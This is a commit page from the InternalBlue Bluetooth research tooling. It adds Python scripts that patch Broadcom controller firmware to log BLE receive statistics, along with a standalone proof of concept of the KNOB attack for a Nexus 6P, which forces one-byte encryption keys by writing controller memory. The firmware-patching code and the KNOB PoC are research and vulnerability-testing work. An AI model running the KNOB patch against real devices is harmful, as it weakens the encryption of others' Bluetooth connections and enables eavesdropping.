Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge branch 'master' of https://dev.seemoo.tu-darmstadt.de/bcm/inter…
- Loading branch information
Showing
10 changed files
with
744 additions
and
3 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,47 @@ | ||
#!/usr/bin/python2 | ||
|
||
from pwn import * | ||
from internalblue.adbcore import ADBCore | ||
from internalblue.bluezcore import BluezCore | ||
|
||
""" | ||
Script that shows receive statistics from LE connections over HCI on the CYW20735B1 evaluation board. | ||
Generated with Nexmon. | ||
""" | ||
|
||
internalblue = ADBCore() | ||
try: | ||
internalblue.interface = internalblue.device_list()[0][1] # just use the first Android device | ||
except IndexError: | ||
internalblue = BluezCore() | ||
try: | ||
internalblue.interface = internalblue.device_list()[0][1] # ...or the first local HCI interface | ||
except IndexError: | ||
log.critical("Adapt the Python script to use an available Broadcom Bluetooth interface.") | ||
exit(-1) | ||
|
||
# setup sockets | ||
if not internalblue.connect(): | ||
log.critical("No connection to target device.") | ||
exit(-1) | ||
|
||
progress_log = log.info("Connected to first target, installing patches...") | ||
|
||
# GENERATED PATCHES | ||
internalblue.patchRom(0x0008ea46, '\x89\xf1\x5b\xbc') | ||
internalblue.patchRom(0x0008edc2, '\x89\xf1\x1d\xbc') | ||
internalblue.patchRom(0x0008eec0, '\x89\xf1\x1e\xbb') | ||
internalblue.writeMem(0x00218200, '\x10\xb5\xcc\x22\xff\x21\xce\x20\x0c\xf6\x43\xfe\x04\x46\x04\x22\x07\x49\x0a\x30\x50\xf6\x53\xfb\x06\x4b\x04\xf1\x0e\x00\x19\x68\xc8\x22\x50\xf6\x4c\xfb\x20\x46\xbd\xe8\x10\x40\x0c\xf6\x03\xbd\x18\x80\x21\x00\x80\x28\x28\x00') | ||
internalblue.writeMem(0x00218300, '\x95\xf6\x70\xfc\xff\xf7\x7c\xff\x76\xf6\x9f\xbb\x00\xbf\x00\xbf') | ||
internalblue.writeMem(0x00218500, '\x2d\xe9\xf0\x5f\xfe\xb5\x07\x46\xf3\x22\xff\x21\xf5\x20\x0c\xf6\xc0\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0f\x49\x18\x46\x50\xf6\xce\xf9\x04\xf1\x0e\x03\x4f\xf0\xef\x02\x39\x46\x18\x46\x50\xf6\xc6\xf9\x04\xf1\x0e\x03\x4f\xf0\x01\x02\x07\xf5\xe9\x71\x18\x46\x50\xf6\xbd\xf9\x20\x46\x0c\xf6\x76\xfb\x38\x46\xbd\xe8\xfe\x40\x76\xf6\xb8\xbc\x00\xbf\x00\xbf\x00\x80\x21\x00') | ||
internalblue.writeMem(0x00218600, '\x70\xb5\x05\x46\xfe\xb5\x05\x46\xf4\x22\xff\x21\xf6\x20\x0c\xf6\x40\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0b\x49\x18\x46\x50\xf6\x4e\xf9\x04\xf1\x0e\x03\x4f\xf0\xf0\x02\x29\x46\x18\x46\x50\xf6\x46\xf9\x20\x46\x0c\xf6\xff\xfa\x00\xf0\xe2\xf8\xbd\xe8\xfe\x40\x76\xf6\xc1\xbb\x00\xbf\x00\xbf\x08\x80\x21\x00') | ||
internalblue.writeMem(0x00218800, '\x10\xb5\x08\x22\x82\xb0\xff\x21\x0a\x20\x0c\xf6\x42\xfb\x04\x22\x04\x46\x0b\x49\x0a\x30\x50\xf6\x52\xf8\x00\x20\x9f\xf6\xec\xff\x95\xf6\x3f\xff\x02\xa9\x41\xf8\x04\x0d\x04\x22\x04\xf1\x0e\x00\x50\xf6\x45\xf8\x20\x46\x0c\xf6\xfe\xf9\x02\xb0\x10\xbd\x00\xbf\x10\x80\x21\x00') | ||
internalblue.writeMem(0x00218000, '\x52\x58\x44\x4e\x00\x00\x00\x00\x4c\x45\x50\x52\x00\x00\x00\x00\x52\x53\x53\x49\x00\x00\x00\x00\x52\x42\x55\x46\x00') | ||
|
||
|
||
# shutdown connection | ||
internalblue.shutdown() | ||
|
||
|
||
log.info("--------------------") | ||
log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,175 @@ | ||
#!/usr/bin/env python2 | ||
|
||
# Jiska Classen | ||
|
||
# Get receive statistics on a Nexus 5 for BLE connection events | ||
|
||
from pwn import * | ||
from internalblue.adbcore import ADBCore | ||
import internalblue.hci as hci | ||
import internalblue.cli as cli | ||
|
||
internalblue = ADBCore(serial=False) | ||
device_list = internalblue.device_list() | ||
if len(device_list) == 0: | ||
log.warn("No HCI devices connected!") | ||
exit(-1) | ||
internalblue.interface = device_list[0][1] # just use the first device | ||
|
||
|
||
|
||
""" | ||
# _connTaskRxDone has a Patchram position, Nexus 5 patches look so worse that I guess | ||
# they never planned to support BLE. Even callbacks are defined in Patchram. | ||
# You need to adjust the RX_DONE_HOOK_ADDRESS in the beginning. | ||
""" | ||
RX_DONE_HOOK_ADDRESS = 0x224DEA | ||
HOOKS_LOCATION = 0xd7500 | ||
ASM_HOOKS = """ | ||
// restore first 4 bytes of _connTaskRxDone | ||
push {r4-r8,lr} | ||
mov r4, r0 | ||
// fix registers for our own routine | ||
push {r1-r7, lr} | ||
mov r7, r0 | ||
// allocate vendor specific hci event | ||
mov r2, 243 | ||
mov r1, 0xff | ||
mov r0, 245 | ||
bl 0x7AFC // bthci_event_AllocateEventAndFillHeader(4+239+2, 0xff, 4+239); | ||
mov r4, r0 // save pointer to the buffer in r4 | ||
// append buffer with "RXDN" | ||
add r0, 2 // buffer starts at 2 with data (?) | ||
ldr r1, =0x4e445852 // RXDN | ||
str r1, [r0] | ||
add r0, 4 // advance buffer by 4 | ||
// copy 239 bytes of le_conn to buffer | ||
mov r2, #238 | ||
mov r1, r7 // le_conn[0] | ||
//add r1, 0x100 //TODO use this to access the connection struct with different offset | ||
bl 0x46FE6 // __rt_memcpy | ||
// for debugging purposes, we overwrite the first byte | ||
// (which is the connTaskCallback anyway) with RSSI info | ||
mov r2, #1 // 1 rssi byte | ||
add.w r1, r7, #0x12c // le_conn[0x12c] is position of RSSI in Nexus 5 | ||
mov r0, r4 | ||
add r0, 6 | ||
bl 0x46FE6 // __rt_memcpy | ||
// send hci event | ||
mov r0, r4 // back to buffer at offset 0 | ||
bl 0x398c1 // send_hci_event_without_free() | ||
// free HCI buffer | ||
mov r0, r4 | ||
bl 0x3FA36 // osapi_blockPoolFree | ||
// undo registers for our own routine | ||
mov r0, r7 | ||
pop {r1-r7, lr} | ||
// branch back to _connTaskRxDone + 4 | ||
b 0x%x | ||
""" % (RX_DONE_HOOK_ADDRESS+4) | ||
|
||
# setup sockets | ||
if not internalblue.connect(): | ||
log.critical("No connection to target device.") | ||
exit(-1) | ||
|
||
# Install hooks | ||
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION) | ||
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION) | ||
if not internalblue.writeMem(HOOKS_LOCATION, code): | ||
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION) | ||
exit(-1) | ||
|
||
log.info("Installing hook patch...") | ||
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS) | ||
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch): | ||
log.critical("Installing patch for _connTaskRxDone failed!") | ||
exit(-1) | ||
|
||
|
||
# RXDN statistics callback variables | ||
internalblue.last_nesn_sn = None | ||
internalblue.last_success_event = None | ||
|
||
|
||
def lereceiveStatusCallback(record): | ||
""" | ||
RXDN Callback Function | ||
Depends on the raspi3_rxdn.py or eval_rxdn.py script, | ||
which patches the _connTaskRxDone() function and copies | ||
info from the LE connection struct to HCI. | ||
""" | ||
|
||
hcipkt = record[0] # get HCI Event packet | ||
|
||
if not issubclass(hcipkt.__class__, hci.HCI_Event): | ||
return | ||
|
||
if hcipkt.data[0:4] == "RXDN": | ||
data = hcipkt.data[4:] | ||
|
||
# Raspi 3 gets errors | ||
if len(data) < 239: | ||
return | ||
|
||
# !!! Nexus 5 has really outdated struct... | ||
packet_curr_nesn_sn = u8(data[0xa0]) | ||
packet_channel_map = data[0x4c:0x4c+38] | ||
packet_channel = u8(data[0x7b]) | ||
packet_event_ctr = u16(data[0x86:0x88]) | ||
packet_rssi = u8(data[0]) | ||
|
||
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100: | ||
log.info(" ^----------------------------- ERROR --------------------------------") | ||
|
||
# currently only supported by eval board: check if we also went into the process payload routine, | ||
# which probably corresponds to a correct CRC | ||
# if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr: | ||
# log.debug(" ^----------------------------- MISSED -------------------------------") | ||
|
||
# TODO example for setting the channel map | ||
# timeout needs to be zero, because we are already in an event reception routine! | ||
# self.sendHciCommand(0x2014, '\x00\x00\xff\x00\x00', timeout=0) | ||
|
||
internalblue.last_nesn_sn = packet_curr_nesn_sn | ||
|
||
# draw channel with rssi color | ||
color = '\033[92m' # green | ||
if 0xc8 > packet_rssi >= 0xc0: | ||
color = '\033[93m' # yellow | ||
elif packet_rssi < 0xc0: | ||
color = '\033[91m' # red | ||
|
||
channels_total = u8(packet_channel_map[37]) | ||
channel_map = 0x0000000000 | ||
if channels_total <= 37: # raspi 3 messes up with this during blacklisting | ||
for channel in range(0, channels_total): | ||
channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel]) | ||
|
||
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map, | ||
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)), | ||
color, ' ' * packet_channel)) | ||
|
||
|
||
|
||
log.info("--------------------") | ||
log.info("Entering InternalBlue CLI to display statistics.") | ||
|
||
# add RXDN callback | ||
internalblue.registerHciCallback(lereceiveStatusCallback) | ||
|
||
|
||
# enter CLI | ||
cli.commandLoop(internalblue) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,100 @@ | ||
#!/usr/bin/python2 | ||
|
||
# Jiska Classen, Secure Mobile Networking Lab | ||
|
||
|
||
from pwn import * | ||
from internalblue.adbcore import ADBCore | ||
import internalblue.cli as cli | ||
import internalblue.cmds as cmd | ||
import internalblue.hci as hci | ||
from internalblue.cmds import auto_int | ||
|
||
|
||
""" | ||
This is a standalone PoC for the KNOB attack on a Nexus 6P. | ||
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB. | ||
For details see https://github.com/francozappa/knob | ||
This PoC is much shorter since it only modifies global variables for key entropy. | ||
""" | ||
|
||
|
||
internalblue = ADBCore(serial=False) # without custom bluetooth.default.so, change to True | ||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device | ||
|
||
# setup sockets | ||
if not internalblue.connect(): | ||
log.critical("No connection to target device.") | ||
exit(-1) | ||
|
||
|
||
log.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!") | ||
|
||
# modify function lm_SendLmpEncryptKeySizeReq | ||
#patch = asm("mov r2, #0x1", vma=0x4BC6E) # connection struct key entropy | ||
#internalblue.patchRom(0x4BC6E, patch) | ||
# this somehow crashes on the Nexus 6P, but the global variable seems to be sufficient :) | ||
|
||
# modify global variable for own setting | ||
internalblue.writeMem(0x204147, '\x01') # global key entropy | ||
|
||
|
||
log.info("-----------------------KNOB-----------------------\n" | ||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n" | ||
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n" | ||
"On Android, this requires a modified bluetooth.default.so.\n" | ||
"-----------------------KNOB-----------------------\n" | ||
"Automatically continuing on KNOB interface...\n" | ||
"Use the 'knob' command to *debug* the attack, i.e.:\n" | ||
" knob --hnd 0x0b\n" | ||
"...shows the key size of handle 0x000b.\n") | ||
|
||
|
||
class CmdKnob(cmd.Cmd): | ||
""" | ||
Introduce a new CLI command to make KNOB debugging easier... | ||
""" | ||
keywords = ["knob"] | ||
description = "Debugs which key length is currently active within a connection handle." | ||
|
||
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description) | ||
|
||
parser.add_argument("--hnd", type=auto_int, default=0x000c, | ||
help="Handle KNOB connection.") | ||
|
||
def work(self): | ||
args = self.getArgs() | ||
internalblue.sendHciCommand(0x1408, p16(args.hnd)) | ||
return True | ||
|
||
|
||
def hciKnobCallback(record): | ||
""" | ||
Adds a new callback function so that we do not need to call Wireshark. | ||
""" | ||
hcipkt = record[0] | ||
if not issubclass(hcipkt.__class__, hci.HCI_Event): | ||
return | ||
|
||
if hcipkt.event_code == 0x0e: | ||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size | ||
if u8(hcipkt.data[3]) == 0x12: # Error | ||
log.info("No key size available.\n" | ||
" - Did you already negotiate an encrypted connection?\n" | ||
" - Did you choose the correct connection handle?\n") | ||
else: | ||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), u8(hcipkt.data[6]))) | ||
|
||
return | ||
|
||
|
||
# add our command | ||
cmd.CmdKnob = CmdKnob | ||
internalblue.registerHciCallback(hciKnobCallback) | ||
|
||
|
||
# enter CLI | ||
cli.commandLoop(internalblue) |
Oops, something went wrong.